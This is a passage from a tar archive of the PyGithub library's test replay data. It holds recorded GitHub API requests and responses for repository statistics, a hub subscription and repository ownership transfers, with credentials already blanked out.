50172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":3,"d":3,"c":3},{"w":1370131200,"a":17,"d":17,"c":15},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false}},{"total":67,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":1108,"d":516,"c":67},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png&r=x","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User","site_admin":false}},{"total":886,"weeks":[{"w":1329004800,"a":3853,"d":2098,"c":96},{"w":1329609600,"a":3005,"d":2120,"c":99},{"w":1330214400,"a":2969,"d":1502,"c":52},{"w":1330819200,"a":252,"d":26,"c":12},{"w":1331424000,"a":4823,"d":4569,"c":39},{"w":1332028800,"a":1846,"d":56,"c":12},{"w":1332633600,"a":130,"d":57,"c":5},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":31,"d":11,"c":4},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":23632,"d":7111,"c":28},{"w":1336262400,"a":29431,"d":30239,"c":64},{"w":1336867200,"a":1280,"d":397,"c":12},{"w":1337472000,"a":3016,"d":2064,"c":26},{"w":1338076800,"a":33188,"d":30815,"c":74},{"w":1338681600,"a":2531,"d":545,"c":6},{"w":1339286400,"a":6,"d":0,"c":1},{"w":1339891200,"a":13,"d":7,"c":3},{"w":1340496000,"a":719,"d":270,"c":12},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":353,"d":217,"c":11},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":644,"d":551,"c":4},{"w":1343520000,"a":423,"d":423,"c":4},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":56,"d":11,"c":2},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":2968,"d":162,"c":20},{"w":1347148800,"a":1576,"d":16315,"c":17},{"w":1347753600,"a":11680,"d":11277,"c":12},{"w":1348358400,"a":248,"d":189,"c":5},{"w":1348963200,"a":3,"d":3,"c":1},{"w":1349568000,"a":6,"d":11,"c":1},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":374,"d":230,"c":12},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":1788,"d":1765,"c":29},{"w":1353801600,"a":1251,"d":1221,"c":8},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":136,"d":7,"c":5},{"w":1356220800,"a":3551,"d":2797,"c":14},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":82,"d":11,"c":6},{"w":1359849600,"a":603,"d":292,"c":17},{"w":1360454400,"a":327,"d":240,"c":5},{"w":1361059200,"a":147,"d":74,"c":8},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":52,"d":7,"c":3},{"w":1362873600,"a":639,"d":444,"c":9},{"w":1363478400,"a":5290,"d":1029,"c":18},{"w":1364083200,"a":563,"d":287,"c":15},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":68,"d":4,"c":2},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":840,"d":753,"c":13},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":430,"d":29,"c":5},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":15,"d":9,"c":2},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":193,"d":3,"c":4},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":3062,"d":1701,"c":10},{"w":1373760000,"a":761,"d":1177,"c":9},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":874,"d":650,"c":36},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":3045,"d":659,"c":18},{"w":1378598400,"a":2183,"d":2373,"c":8},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":158,"d":225,"c":8},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testStatisticsParticipation.txt0000644000175100001660000000432414756101563026661 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/stats/participation {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 202 [('status', '202 Accepted'), ('x-ratelimit-remaining', '4962'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:3447:29BC88A:528030EB'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '260'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"a896655765faac08fb15ce0da319416c"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 01:20:43 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384134844')] {} https GET api.github.com None /repos/PyGithub/PyGithub/stats/participation {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4976'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:7844:5812FB:52803018'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '260'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"a896655765faac08fb15ce0da319416c"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 01:17:12 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384134844')] {"all":[4,36,8,0,0,10,20,0,0,0,0,11,20,6,9,0,4,14,21,16,0,3,0,20,0,0,8,1,9,16,1,15,1,0,12,12,0,4,6,15,116,20,20,11,0,0,0,0,0,10,0,0],"owner":[1,36,8,0,0,8,18,0,0,0,0,7,20,6,9,0,4,11,20,16,0,3,0,16,0,0,6,1,4,0,1,6,0,0,12,10,0,0,0,1,44,0,20,10,0,0,0,0,0,10,0,0]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testStatisticsPunchCard.txt0000644000175100001660000000663714756101563025733 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/stats/punch_card {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 202 [('status', '202 Accepted'), ('x-ratelimit-remaining', '4961'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:3448:429A33C:528030EB'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1490'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"41cbe788b8174e5a98906512e68a825d"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 01:20:43 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384134844')] {} https GET api.github.com None /repos/PyGithub/PyGithub/stats/punch_card {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:7848:2D639AE:52803018'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1490'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"5174eef5c5760209664cb13e11e49b09"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 01:17:12 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384134844')] [[0,0,0],[0,1,0],[0,2,1],[0,3,0],[0,4,0],[0,5,0],[0,6,3],[0,7,1],[0,8,8],[0,9,11],[0,10,18],[0,11,10],[0,12,13],[0,13,13],[0,14,12],[0,15,12],[0,16,6],[0,17,18],[0,18,12],[0,19,16],[0,20,17],[0,21,8],[0,22,8],[0,23,0],[1,0,1],[1,1,0],[1,2,0],[1,3,0],[1,4,0],[1,5,0],[1,6,0],[1,7,3],[1,8,5],[1,9,1],[1,10,0],[1,11,1],[1,12,0],[1,13,5],[1,14,6],[1,15,1],[1,16,0],[1,17,5],[1,18,5],[1,19,12],[1,20,10],[1,21,13],[1,22,15],[1,23,3],[2,0,0],[2,1,0],[2,2,0],[2,3,0],[2,4,0],[2,5,0],[2,6,0],[2,7,4],[2,8,5],[2,9,3],[2,10,9],[2,11,3],[2,12,1],[2,13,5],[2,14,1],[2,15,6],[2,16,0],[2,17,4],[2,18,13],[2,19,26],[2,20,16],[2,21,13],[2,22,13],[2,23,12],[3,0,2],[3,1,1],[3,2,0],[3,3,0],[3,4,0],[3,5,0],[3,6,2],[3,7,2],[3,8,1],[3,9,2],[3,10,0],[3,11,1],[3,12,5],[3,13,17],[3,14,11],[3,15,15],[3,16,11],[3,17,10],[3,18,29],[3,19,13],[3,20,17],[3,21,19],[3,22,5],[3,23,10],[4,0,1],[4,1,0],[4,2,0],[4,3,0],[4,4,0],[4,5,0],[4,6,0],[4,7,5],[4,8,2],[4,9,5],[4,10,7],[4,11,7],[4,12,7],[4,13,2],[4,14,1],[4,15,1],[4,16,0],[4,17,6],[4,18,19],[4,19,24],[4,20,16],[4,21,27],[4,22,21],[4,23,8],[5,0,2],[5,1,0],[5,2,0],[5,3,0],[5,4,0],[5,5,0],[5,6,0],[5,7,4],[5,8,3],[5,9,3],[5,10,2],[5,11,13],[5,12,7],[5,13,11],[5,14,16],[5,15,3],[5,16,3],[5,17,7],[5,18,13],[5,19,8],[5,20,6],[5,21,11],[5,22,3],[5,23,2],[6,0,0],[6,1,3],[6,2,0],[6,3,1],[6,4,7],[6,5,2],[6,6,0],[6,7,14],[6,8,23],[6,9,10],[6,10,18],[6,11,14],[6,12,7],[6,13,17],[6,14,7],[6,15,9],[6,16,4],[6,17,1],[6,18,2],[6,19,6],[6,20,0],[6,21,4],[6,22,1],[6,23,3]] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testSubscribePubSubHubbub.txt0000644000175100001660000000200514756101563026164 0ustar00runnerdockerhttps POST api.github.com None /hub {'Content-Type': 'multipart/form-data; boundary=----------------------------3c3ba8b523b2', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} ------------------------------3c3ba8b523b2Content-Disposition: form-data; name="hub.callback"http://requestb.in/1bc1sc61------------------------------3c3ba8b523b2Content-Disposition: form-data; name="hub.topic"https://github.com/PyGithub/PyGithub/events/push------------------------------3c3ba8b523b2Content-Disposition: form-data; name="hub.mode"subscribe------------------------------3c3ba8b523b2Content-Disposition: form-data; name="hub.secret"my_secret------------------------------3c3ba8b523b2-- 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4997'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Tue, 05 Feb 2013 18:57:27 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testTransferOwnership.txt0000644000175100001660000001324314756101563025463 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/transfer {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"new_owner": "An-Nie-Tan-99", "new_name": "PyGithub-test"} 202 [('Date', 'Tue, 17 Dec 2024 04:20:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '4196'), ('X-OAuth-Scopes', 'admin:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-12-23 03:25:37 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4930'), ('X-RateLimit-Reset', '1734410505'), ('X-RateLimit-Used', '70'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A1E8:314675:28EA74F:2E80731:6760FBFD')] {"id":901269070,"node_id":"R_kgDONbhGTg","name":"PyGithub","full_name":"tanannie22/PyGithub","owner":{"login":"tanannie22","id":121005973,"node_id":"U_kgDOBzZnlQ","avatar_url":"https://avatars.githubusercontent.com/u/121005973?v=4","gravatar_id":"","url":"https://api.github.com/users/tanannie22","html_url":"https://github.com/tanannie22","followers_url":"https://api.github.com/users/tanannie22/followers","following_url":"https://api.github.com/users/tanannie22/following{/other_user}","gists_url":"https://api.github.com/users/tanannie22/gists{/gist_id}","starred_url":"https://api.github.com/users/tanannie22/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tanannie22/subscriptions","organizations_url":"https://api.github.com/users/tanannie22/orgs","repos_url":"https://api.github.com/users/tanannie22/repos","events_url":"https://api.github.com/users/tanannie22/events{/privacy}","received_events_url":"https://api.github.com/users/tanannie22/received_events","type":"User","user_view_type":"public","site_admin":false},"private":false,"html_url":"https://github.com/tanannie22/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/tanannie22/PyGithub","topics":[],"forks_url":"https://api.github.com/repos/tanannie22/PyGithub/forks","keys_url":"https://api.github.com/repos/tanannie22/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tanannie22/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tanannie22/PyGithub/teams","hooks_url":"https://api.github.com/repos/tanannie22/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/tanannie22/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/tanannie22/PyGithub/events","assignees_url":"https://api.github.com/repos/tanannie22/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/tanannie22/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/tanannie22/PyGithub/tags","blobs_url":"https://api.github.com/repos/tanannie22/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tanannie22/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tanannie22/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/tanannie22/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tanannie22/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/tanannie22/PyGithub/languages","stargazers_url":"https://api.github.com/repos/tanannie22/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/tanannie22/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/tanannie22/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/tanannie22/PyGithub/subscription","commits_url":"https://api.github.com/repos/tanannie22/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/tanannie22/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/tanannie22/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/tanannie22/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/tanannie22/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/tanannie22/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/tanannie22/PyGithub/merges","archive_url":"https://api.github.com/repos/tanannie22/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/tanannie22/PyGithub/downloads","issues_url":"https://api.github.com/repos/tanannie22/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/tanannie22/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/tanannie22/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/tanannie22/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tanannie22/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/tanannie22/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/tanannie22/PyGithub/deployments"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testTransferOwnershipInvalidOwner.txt0000644000175100001660000000324214756101563030003 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/transfer {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"new_owner": "new_owner"} 422 [('Date', 'Tue, 17 Dec 2024 04:11:17 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '131'), ('X-OAuth-Scopes', 'admin:org, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-12-23 03:25:37 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4947'), ('X-RateLimit-Reset', '1734410505'), ('X-RateLimit-Used', '53'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 